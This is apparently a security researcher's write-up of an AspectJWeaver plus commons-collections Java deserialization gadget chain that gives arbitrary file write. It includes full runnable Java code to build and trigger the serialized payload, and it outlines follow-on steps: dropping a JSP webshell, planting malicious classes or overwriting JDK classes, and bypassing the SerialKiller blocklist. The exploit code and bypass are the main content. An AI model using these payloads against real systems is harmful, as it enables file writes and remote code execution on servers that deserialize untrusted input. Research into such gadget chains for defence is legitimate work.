AspectJWeaver

AspectJWeaver

ENV

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>

You can notice that we use the commons-collections: 3.2.2, because we only use the LazyMap, TiedMapEntry, ConstantTransformer classes in the library, which are not restricted by FunctorUtils#checkUnsafeSerialization.

AnyFileWrite

Gadget Chain

1
2
3
4
5
6
7
8
HashSet.readObject()
->HashMap.put()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->StoreableCachingMap.put()
->StoreableCachingMap.writeToPath()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;

import static java.util.Objects.hash;

public class main {
public static void main(String[] argc)throws Exception{
Class<?> clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> con = clazz.getDeclaredConstructor(String.class, int.class);
con.setAccessible(true);
HashMap hashMap = (HashMap) con.newInstance("path", 100);
ConstantTransformer constantTransformer = new ConstantTransformer("hacked".getBytes());
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1.txt");
HashSet hashSet = new HashSet();

HashMap<Object, Object> tmp = new HashMap<>();
Method method = HashMap.class.getDeclaredMethod("putVal", int.class, Object.class, Object.class, boolean.class, boolean.class);
method.setAccessible(true);
method.invoke(tmp, 1, tiedMapEntry, 1, false, true);

Field field = HashSet.class.getDeclaredField("map");
field.setAccessible(true);
field.set(hashSet, tmp);

serialize(hashSet, "ser.bin");
unserialize("ser.bin");
}
public static void serialize(Object o, String file) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
oos.writeObject(o);
}
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Further Exploitation

Jsp Webshell

If the target service support the jsp, we can write a Jsp Webshell

Writing Evil Class

We can write an evil class into WEB-INF/classes or into jre/classes, and use the deserialization function again.

FatJar under SpringBoot

if the target server just run a .jar file, so that we can’t write our class into WEB-INF/classes. Under such circumstance, we need to overwriting the jdk’s system classes.

https://landgrey.me/blog/22/

Bypass SerialKiller

SerialKiller has banned ConstantTransformer, so how can we bypass this.

We can use FactoryTransformer+ConstantFactory to bypass this limitation.

FactoryTransformer.getInstance(ConstantFactory.getInstance("hacked".getBytes()));

cache.idx

After we write a file in writeToPath, we will call the storeMap, in which the class deserilize it self into cache.idx

In the init method, it will serialize the cache.idx

But how to trigger its private constructor still remains a question.

Reference

https://p4d0rn.gitbook.io/java/serial-journey/aspectjweaver